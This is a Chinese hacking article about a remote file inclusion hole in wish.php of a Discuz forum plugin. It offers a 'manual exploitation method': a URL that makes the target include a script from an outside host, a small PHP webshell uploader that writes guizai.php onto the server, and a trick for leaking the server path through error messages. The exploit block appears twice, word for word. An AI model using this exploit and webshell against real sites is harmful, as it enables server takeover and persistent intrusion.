discuz许愿池插件远程包含漏洞
更新时间：2006年11月06日 00:00:00 作者：
（福利推荐：【腾讯云】服务器最新限时优惠活动，云服务器1核2G仅99元/年、2核4G仅768元/3年，立即抢购>>>：9i0i.cn/qcloud）
（福利推荐：你还在原价购买阿里云服务器？现在阿里云0.8折限时抢购活动来啦！4核8G企业云服务器仅2998元/3年，立即抢购>>>：9i0i.cn/aliyun）
许愿池插件的wish.php文件出的问题：
require $discuz_root.'./include/discuzcode.func.php';
手工利用方法：
远程包含漏洞，变量discuz_root过滤不严，利用方法：
http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt?
不一定非要txt后缀，可以改为任意后缀，后面一定要记得加问号。
这里xxxx.txt用CN.Tink的那个小马写个shell进去：
<?copy($_FILES[MyFile][tmp_name],"C:\Inetpub\vhosts\baidu.com\bbs\guizai.php");?>
<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>
网站物理路径可以通过提交http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt ，看错误提示信息，然后修改xxxx.txt中的路径即可。 guizai.php就是你上传的shell的名字。
require $discuz_root.'./include/discuzcode.func.php';
手工利用方法：
远程包含漏洞，变量discuz_root过滤不严，利用方法：
http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt?
不一定非要txt后缀，可以改为任意后缀，后面一定要记得加问号。
这里xxxx.txt用CN.Tink的那个小马写个shell进去：
<?copy($_FILES[MyFile][tmp_name],"C:\Inetpub\vhosts\baidu.com\bbs\guizai.php");?>
<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>
网站物理路径可以通过提交http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt ，看错误提示信息，然后修改xxxx.txt中的路径即可。 guizai.php就是你上传的shell的名字。
相关文章
NET IIS暴绝对路径漏洞...2007-02-02
IP和MAC捆绑的破解...2006-10-10
角逐网络江湖—黑客兵器谱排名...2006-09-09
这篇文章主要为大家介绍了跨站脚本攻击XSS与CSRF区别方法详解，有需要的朋友可以借鉴参考下，希望能够有所帮助，祝大家多多进步，早日升职加薪2022-10-10
轻松设置让系统不受恶意代码攻击...2006-09-09
防范的时候需要对用户的输入进行检查。特别是一些特殊字符，比如单引号，双引号，分号，逗号，冒号，连接号等进行转换或者过滤。2008-12-12
跨站式脚本(Cross-SiteScripting)XSS攻击原理分析
XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。2008-09-09
真正能用,还有点效果的CSS挂马代码的方法...2007-10-10
这篇文章主要为大家介绍了ABAP OPEN SQL注入漏洞防御方法示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪2023-11-11
黑客攻击方式的四种最新趋势...2006-10-10
最新评论